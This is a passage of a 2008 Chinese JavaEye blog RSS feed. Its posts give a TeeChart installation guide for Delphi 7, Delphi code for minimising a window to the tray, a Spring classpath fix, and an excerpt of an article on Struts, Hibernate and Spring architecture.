    &lt;name> zhang3 &lt;/name>
    &lt;age> 34 &lt;/age>  
&lt;/Student>
&lt;Student> 
    &lt;name> zhang4 &lt;/name>
&lt;/Student>
&lt;Student> 
    &lt;name> zhang5 &lt;/name>
    &lt;age> 23&lt;/age>
    &lt;type>靠靠&lt;/type>
&lt;/Student>
&lt;/ROOT>
</pre>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/180194#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 07 Apr 2008 17:20:42 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/180194</link>
        <guid>http://kenter1643.javaeye.com/blog/180194</guid>
      </item>
      <item>
        <title>TeeChart 在Delphi 7.0中的安装</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/179644" style="color:red;">http://kenter1643.javaeye.com/blog/179644</a>&nbsp;
          发表时间: 2008年04月05日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          TeeChart&nbsp;6.01在Delphi&nbsp;7.0中的安装<br /><br />我曾经在Delphi&nbsp;5.0中使用过TeeChart&nbsp;Pro&nbsp;v5.02&nbsp;for&nbsp;Delphi!但是我现在一直在用Delphi&nbsp;7.0了，TeeChart&nbsp;Pro&nbsp;v5.02&nbsp;可能不能用在Delphi&nbsp;7.0。我从网上找到了TeeChart6Delphi7.EXE，于是立即在Delphi&nbsp;7.0进行安装，整个安装过程非常顺利！<br /><br />但是，TeeChart自带的GIFImage在Delphi7中有Bug，当我在设计时打开GIF动画时出现死机。<br /><br />我上TeeChart的论坛和新闻组，也没有找到一个解决办法！<br /><br />后来，在网上找到了LiWD写得《TeeChart&nbsp;Pro&nbsp;v6.01&nbsp;Full&nbsp;Sources&nbsp;For&nbsp;Delphi7&nbsp;安装完全攻略》。于是就又去找了一个TeeChart&nbsp;Pro&nbsp;v6.01&nbsp;Full&nbsp;Sources&nbsp;For&nbsp;Delphi，对照安装完全攻略进行了安装！<br /><br />一、删除Delphi7自带TeeChart<br />1、Component&nbsp;-&gt;&nbsp;install&nbsp;Packages&nbsp;中&nbsp;Remove&nbsp;所有以Tee开头的包,OK,关闭Delphi7.<br />2、删除\Bin目录下的DclTee70.bpl;<br />3、删除\Windows\System(或System32)目录的以下文件:<br />Tee70.bpl<br />Teedb70.bpl<br />Teeqr70.bpl<br />Teeui70.bpl<br /><br />4、删除\Lib目录下的以下文件(如果有的话.可以把以下文本建成一.Bat文件,在Lib目录下运行即可):<br /><br />del&nbsp;QRTEE.dcu<br />del&nbsp;dcltee.dcp<br />del&nbsp;tee.dcp<br />del&nbsp;TeeAbout.dcu<br />del&nbsp;TeeAbout.dfm<br />del&nbsp;teebmps.res<br />del&nbsp;TeeConst.dcu<br />del&nbsp;teedb.dcp<br />del&nbsp;TeeFunci.dcu<br />del&nbsp;TeeGally.dcu<br />del&nbsp;TeeGally.dfm<br />del&nbsp;TeeLisB.dcu<br />del&nbsp;TeEngine.dcu<br />del&nbsp;TeePoEdi.dcu<br />del&nbsp;TeePoEdi.dfm<br />del&nbsp;TeePrevi.dcu<br />del&nbsp;TeePrevi.dfm<br />del&nbsp;TeeProcs.dcu<br />del&nbsp;teeqr.dcp<br />del&nbsp;teeresou.res<br />del&nbsp;TeeShape.dcu<br />del&nbsp;teeui.dcp<br />del&nbsp;TeExport.dcu<br />del&nbsp;TeExport.dfm<br />del&nbsp;TeCanvas.dcu<br />del&nbsp;Chart.dcu<br />del&nbsp;ArrowCha.dcu<br />del&nbsp;BubbleCh.dcu<br />del&nbsp;EditChar.dcu<br />del&nbsp;GanttCh.dcu<br />del&nbsp;Series.dcu<br /><br />二、安装TeeChart&nbsp;Pro&nbsp;v6.01&nbsp;Full&nbsp;Sources<br />1、启动Delphi,将TeeChart&nbsp;v6.01源文件拷贝到一特定目录,如\Delphi7\Source\TeeChart6;<br />并在Tools-&gt;&nbsp;Environment&nbsp;Options&nbsp;-&gt;&nbsp;Library&nbsp;-&gt;&nbsp;Library&nbsp;Path&nbsp;中添加该路径;<br />同时添加以下路径&nbsp;$(DELPHI)\Projects\Bpl,否则下一步编译会有找不到&ldquo;tee67.dcp&rdquo;的问题！<br /><br />2、TeeChart自带的GIFImage在Delphi7中有Bug,当设计时打开GIF动画时出现死机.<br />请自行到网上找一个GIFImage&nbsp;for&nbsp;Delphi7&nbsp;的,在安装前用其中的&nbsp;GIFImage.pas&nbsp;覆盖当前的即可.<br /><br />3、Open&nbsp;Project打开目录中的&nbsp;Tee6D7.bpg;&nbsp;Project-&gt;&nbsp;Build&nbsp;All&nbsp;Projects&nbsp;编译所有项目，<br />编译生成的文件在$(DELPHI)\Projects\Bpl目录中;<br />并在Tools-&gt;&nbsp;Environment&nbsp;Options&nbsp;-&gt;&nbsp;Library&nbsp;-&gt;&nbsp;Library&nbsp;Path&nbsp;中删除该路径。<br /><br />4、将Bpl目录中的下列文件拷贝到\Windows\System&nbsp;(或System32)目录中:<br />Tee67.bpl<br />TeeDB67.bpl<br />TeeGL67.bpl<br />TeeImage67.bpl<br />TeeLanguage67.bpl<br />TeePro67.bpl<br />TeeQR67.bpl<br />TeeUI67.bpl<br /><br />5、将Bpl目录中的下列文件拷贝到\Delphi7\Bin目录中:<br />DclTee67.bpl<br />DCLTeePro67.bpl<br />DclTGL67.bpl<br />DCLTQR67.bpl<br /><br />6、将Bpl目录中的下列文件拷贝到\Delphi7\Lib目录中:<br />DclTee67.dcp<br />DCLTeePro67.dcp<br />DclTGL67.dcp<br />DCLTQR67.dcp<br />Tee67.dcp<br />TeeDB67.dcp<br />TeeGL67.dcp<br />TeeImage67.dcp<br />TeeLanguage67.dcp<br />TeePro67.dcp<br />TeeQR67.dcp<br />TeeUI67.dcp<br /><br />7、安装TeeChart:<br />Component&nbsp;-&gt;&nbsp;install&nbsp;Packages&nbsp;中&nbsp;Add&nbsp;\Delphi7\Bin目录中以下文件:<br /><br />DclTee67.bpl<br />DCLTeePro67.bpl<br />DclTGL67.bpl<br />DCLTQR67.bpl&nbsp;(如果没有安装QuickReport,可以不添加此文件)<br />和\Windows\System&nbsp;(或System32)目录中的TeeImage67.bpl;<br /><br />8、选择简体中文:&nbsp;新建一工程,添加Additional面板中的TChart放到Form上,选中Chart1,&nbsp;鼠标右击，<br />选择Langague，再选Chinese&nbsp;Simp,OK。<br /><br />由于TeeChart&nbsp;Pro&nbsp;v6.01&nbsp;Full&nbsp;Sources&nbsp;For&nbsp;Delphi安装后没有例子、说明和帮助！因而我利用TeeChart&nbsp;Pro&nbsp;v6.01&nbsp;Full&nbsp;Sources&nbsp;For&nbsp;Delphi安装成功后的文件，尝试自己做了一个TeeChart6Delphi7.EXE的补丁包，用包中三个文件覆盖对应目录中的TeeImage67.bpl、TeeImage67.dcp和GIFImage.dcu文件即可。<br /><br />C:\WINDOWS\system32\TeeImage67.bpl<br />C:\Program&nbsp;Files\TeeChart&nbsp;6.01&nbsp;for&nbsp;Delphi&nbsp;7\Delphi7\Lib\TeeImage67.dcp<br />C:\Program&nbsp;Files\TeeChart&nbsp;6.01&nbsp;for&nbsp;Delphi&nbsp;7\Delphi7\Lib\GIFImage.dcu<br /><br />我进行了测试，经过打上补丁，利用TeeChart6Delphi7.EXE进行的安装完全消除了设计时打开GIF动画时出现死机的问题！
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/179644#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 05 Apr 2008 12:55:11 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/179644</link>
        <guid>http://kenter1643.javaeye.com/blog/179644</guid>
      </item>
      <item>
        <title>关闭到托盘</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/179429" style="color:red;">http://kenter1643.javaeye.com/blog/179429</a>&nbsp;
          发表时间: 2008年04月03日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <pre name="code" class="java">private
    { Private declarations }
    SessionEnding,wc: Boolean;
    procedure WMQueryEndSession(var Message: TMessage); message WM_QUERYENDSESSION;


procedure TForm1.WMQueryEndSession(var Message: TMessage);
begin
  SessionEnding := false;
  Message.Result := 1;
end;



procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
 //CanClose := (wc or SessionEnding);
 CanClose := SessionEnding;
  if not CanClose then
  begin
    CoolTrayIcon1.HideMainForm;
    CoolTrayIcon1.IconVisible := True;
    CoolTrayIcon1.ShowBalloonHint('KK网络电视','Come On Baby!我在这里等你噢!',bitInfo, 10);
  end;
end;</pre>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/179429#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 03 Apr 2008 23:17:32 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/179429</link>
        <guid>http://kenter1643.javaeye.com/blog/179429</guid>
      </item>
      <item>
        <title>DGScreenSpy_0.1.1c远程控制用delphi做的</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/179235" style="color:red;">http://kenter1643.javaeye.com/blog/179235</a>&nbsp;
          发表时间: 2008年04月03日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          DGScreenSpy_0.1.1c远程控制用delphi做的
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/179235#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 03 Apr 2008 14:03:18 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/179235</link>
        <guid>http://kenter1643.javaeye.com/blog/179235</guid>
      </item>
      <item>
        <title>用delphi写的一个任务发布 的东西</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/178931" style="color:red;">http://kenter1643.javaeye.com/blog/178931</a>&nbsp;
          发表时间: 2008年04月02日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          用delphi写的一个任务发布 的东西<br />用了托盘的空间 呵呵 其他没什么的
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/178931#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 02 Apr 2008 17:49:46 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/178931</link>
        <guid>http://kenter1643.javaeye.com/blog/178931</guid>
      </item>
      <item>
        <title>测试spring的一些日程错误</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/178228" style="color:red;">http://kenter1643.javaeye.com/blog/178228</a>&nbsp;
          发表时间: 2008年03月31日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <pre name="code" class="java">Caused by: java.lang.NoClassDefFoundError: org/apache/commons/pool/impl/GenericObjectPool
    at java.lang.Class.getDeclaredConstructors0(Native Method)
    at java.lang.Class.privateGetDeclaredConstructors(Unknown Source)
    at java.lang.Class.getConstructor0(Unknown Source)
    at java.lang.Class.getDeclaredConstructor(Unknown Source)
    at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:54)
    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateBean(AbstractAutowireCapableBeanFactory.java:759)
    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:724)
    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:387)
    at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:251)
    at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:156)
    at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:248)
    at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:160)
    at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:287)
    at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:352)
    at org.springframework.context.support.FileSystemXmlApplicationContext.&lt;init&gt;(FileSystemXmlApplicationContext.java:93)
    at org.springframework.context.support.FileSystemXmlApplicationContext.&lt;init&gt;(FileSystemXmlApplicationContext.java:77)
    at org.springframework.context.support.FileSystemXmlApplicationContext.&lt;init&gt;(FileSystemXmlApplicationContext.java:67)</pre>&nbsp;原因是工具myEclipse在建立SessionFactory的时候，少加一个包 <strong>commons-pool-1.3.jar</strong> 补上去问题解决。<span style="font-family: Times New Roman">该包下载地址<br /></span><a href="http://mirrors.ibiblio.org/pub/mirrors/maven2/commons-pool/commons-pool/1.3/commons-pool-1.3.jar"><span style="font-family: Times New Roman">http://mirrors.ibiblio.org/pub/mirrors/maven2/commons-pool/commons-pool/1.3/commons-pool-1.3.jar</span></a><br /><span style="font-family: Times New Roman">加到classpath里 或者 加到工程</span>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/178228#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 31 Mar 2008 23:09:33 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/178228</link>
        <guid>http://kenter1643.javaeye.com/blog/178228</guid>
      </item>
      <item>
        <title>struts+hibernate+spring开发架构</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/177144" style="color:red;">http://kenter1643.javaeye.com/blog/177144</a>&nbsp;
          发表时间: 2008年03月28日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <div>总结一下学习感受</div><div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 道听途说很多老外干活都用struts+hibernate+spring，现在大陆也挺兴这个的，遂想学学吧。开始的时候一堆的东西放在眼前，呵呵，没啥特殊感觉--就是晕。</div><div><strong><span style="color: #000080">首先说一下我的开发环境：</span></strong></div><blockquote dir="ltr"><div>eclipse 3.1.1 ,myeclipse4..1.1,tomcat5.5.16,mysql5</div></blockquote><div><strong><span style="color: #000080">下面说一下三者协同开发的基本流程及架构：</span></strong></div><div>摘一点网文：</div><div><p>用java来建立一个很有价值的web 应用不是一个简单的任务。在架构这个应用时要考虑很多的因素和问题。从更高的层次来看，开发人员面临着关于如何构建用户接口，何处驻留业务逻辑，以及如何实现数据持久性这些问题。这3层都有各自的问题需要回答。而每一层又需要实现那些技术？应用如何设计来进行松散耦合并能进行灵活变更？应用架构是否允许某一层变更而不影响到其它的层次？应用应该如何处理容器一级的服务比如事务？ </p><p>在为你的应用创建一个架构之前有许多问题需要澄清。幸运的是，有很多开发者都意识到这个问题，并建立了很多框架来解决这些问题。一个良好的框架可以让开发人员减轻重新建立解决复杂问题方案的负担和精力；它可以被扩展以进行内部的定制化；并且有强大的用户社区来支持它。框架通常能很好的解决一个问题。然而，你的应用是分层的，可能每一个层都需要各自的框架。仅仅解决UI问题并不意味着你能够很好的将业务逻辑和持久性逻辑和UI 组件很好的耦合。例如，你不应该使具有JDBC代码的业务逻辑放入控制器之中，这不是控制器应该提供的功能。一个UI 控制器应该是轻量化的组件，由它代表对UI范围之外的其它应用层的服务调用。良好的框架自然地形成代码分离的原则。更为重要的是，框架减轻了开发人员从头构建持久层代码的精力，从而集中精力来应用逻辑上，这对客户端来说更为重要。 </p><p>本文讨论了如何结合几个著名的框架来达到松散耦合，如何设计你的架构，以及如何达到各个层次的一致性设计。面临的挑战是，将框架整合起来，以使每一层都向另外的层次以一种松散的方式来暴露接口，而不管底层功能使用的是什么技术。本文还讨论整合3种著名开源框架的一种策略。对表现层，我们使用<a href="http://jakarta.apache.org/struts"><u><span style="color: #0000ff">Struts</span></u></a>；业务层使用<a href="http://www.springframework.org/"><u><span style="color: #0000ff">Spring</span></u></a>；对于持久层我们使用的是<a href="http://www.hibernate.org/"><u><span style="color: #0000ff">Hibernate</span></u></a>。你尽可以取代这里的某个框架而使用你喜欢的框架已达到同样的效果。图1显示了框架被整合起来时，从最高层次看到的视图。</p></div><blockquote dir="ltr"><div><p align="left"><strong>应用层</strong> </p><p>许多设计良好的web 应用，可以被按职责分为四层。这些层次是表现层、持久层、业务层、和领域模型层。每一个层次都有其独特的职责，不能把各自的功能与其它层次相混合。每一个应用层都应该和其它层隔离开来，但允许使用接口在层间进行通信。我们开始来看看每个层，并讨论一下它们各自都应该提供什么和不应该提供什么。 </p><p align="left"><strong>表现层</strong> </p><p>一个典型的web 应用的末端是表现层。许多Java 开发者都知道Struts 提供了什么东西。然而，太多时候，耦合代码比如业务逻辑被放进org.apache.struts.Action中。所以，我们先总结一下Struts 之类的框架应该提供什么。下面就是Struts 的职责所在： </p><ul><li>管理用户的请求和响应 </li><li>提供一个控制起来将调用委托到业务逻辑和其他上游处理 </li><li>将来自于抛出例外的其他层的例外处理到Struts Action 中 </li><li>组装可以在视图中表现的模型对象 </li><li>执行UI 校验 </li></ul><p>下面是一些经常可以使用Struts进行编码但是不应该和表现层关联的事情： </p><ul><li>直接和数据库交互，比如JDBC 调用 </li><li>与应用相关的业务逻辑和校验 </li><li>事务管理 </li></ul><p>在表现层中引入这些类型的代码将导致类型耦合和维护负担。 </p><p align="left"><strong>持久层</strong> </p><p>一个典型Web应用的另一端是持久层。这也是应用中最容易很快失控的地方。开发者通常低估了自己构建自己的持久层框架的挑战。一个定制的，内部开发的持久层不仅需要大量的开发时间，并且通常缺乏功能和难以管理。目前有许多解决这些问题的开源对象关系映射 (ORM) 框架。特别地， Hibernate 框架就允许Java中的对象-关系的持久性和查询服务。Hibernate 对已经熟悉了SQL 和JDBC API 的Java开发者来或具有中度的学习曲线。Hibernate 的持久对象基于POJO和Java 群集（collections）。此外，使用Hibernate 不和你的IDE接口。下面列出了你需要在持久性框架中编写的代码类型： </p><ul><li>查询关系信息到对象中。Hibernate 是通过称为HQL的OO查询语言，或者使用更有表现能力的规则API，来完成这个工作的。除了使用对象而不是表，使用字段而不是列的方式，HQL非常类似于 SQL。也有一些新的特定的HQL 语言特征需要学习；但是，它们是很容易理解和良好编写的。HQL 是一种用于查询对象的自然语言，而对象，只需要很少的学习曲线吧。. </li><li>存储、更新和删除存储在数据库中的信息 </li><li>高级的对象关系映射框架比如Hibernate支持大部分主流SQL数据库，它们支持父/子关系，事务，继承和多态。 </li></ul><p>下面是应该在持久层避免的一些事情： </p><ul><li>业务逻辑应该置于应用的更高层中。这里只允许数据访问方法。 </li><li>不应该使持久逻辑和表现逻辑耦合。避免表现组件如JSP或者基于servlet的类中的逻辑直接和数据访问进行通信。通过将持久性逻辑隔离在其自己的层中，应用将具有更加灵活的修改性而不影响到其他层的代码。例如， Hibernate 可以使用其他持久框架和API代替，而不需要修改其它层中的代码。 </li></ul><p align="left"><strong>业务层</strong> </p><p>典型的Web应用的中间组件一般是业务层和服务层。从编程的角度来说，service layer经常被忽略。这种类型的代码散布于UI表现层和持久层并不是不多见。这些都不是正确的地方因为它导致了紧密耦合的应用和难以维护的代码。幸运的是，大多数框架都解决了这个问题。这个空间内最流行的两个框架是Spring 和PicoContainer。它们都被视为是具有非常小的足迹（footprint）并且决定如何将你的对象整合在一起的微容器（microcontainer）。这些框架都建立在一种叫做依赖性注入（dependency injection） (也称控制反转（inversion of control：IOC）)的简单概念之上。我们将关注Spring中通过针对命名配置参数的bean属性的setter 注入的使用。Spring 也允许一种更加高级的构造器注入（constructor injection）形式作为setter injection 的可选替代。对象通过简单的XML 文件进行连接，该配置文件包含对各种对象的引用，比如事务管理处理器（transaction management handler）,对象工厂，包含业务逻辑的服务对象，以及数据访问对象(DAO)。 </p><p>我们随后会用一些例子来澄清Spring中使用这些改变的方式。 </p><p>业务层应该负责下面的问题： </p><ul><li>处理应用的业务逻辑和业务校验 </li><li>管理事务 </li><li>允许与其他层进行交互的接口 </li><li>管理业务级对象之间的依赖性 </li><li>加入了表现和持久层之间的灵活性，以便它们不需要彼此进行直接通信 </li><li>从表现层暴露上下文给业务层以获得业务服务 </li><li>管理从业务层到表现层的实现 </li></ul><p align="left"><strong>领域模型层</strong> </p><p align="left">最后，因为我们要解决实际的问题的web应用，我们需要一套在不同的层间移动的对象。领域模型层包含的是表达实际业务对象的对象，比如Order, OrderLineItem, Product 等等。这一层允许能让开发者不再构建和维护不必要的数据传输对象DTO来匹配其领域对象。例如， Hibernate允许你读取数据库信息到一个领域对象的对象图中，以便你可以在离线的情况下将其表现在UI层中。这些对象可以被更新并跨过表现层发送回去，然后进行数据库更新。另外，你不再需要将对象转变成DTO，因为它们在不同的层间移动时可能会丢失事务。这种模型允许Java 开发者能够以OO风格的方式很自然的处理对象，而不用编写额外的代码。 </p><p align="left"><strong>整合一个简单的例子</strong> </p><p>到此，应该对各种层次和组件有一个高层的理解了罢。可以开始一些实践了。再次说明。我们的例子整合了Struts, Spring, 和Hibernate 框架。每个框架都包含大量的内容细节，我们不会多述。我们的目的使用一个例子向你说明如何将它们整合在一起构建一个优雅的Web应用架构。实例将演示一个请求是如何得到各层的服务的。此应用的用户可以将一个订单保存在数据库中并且察看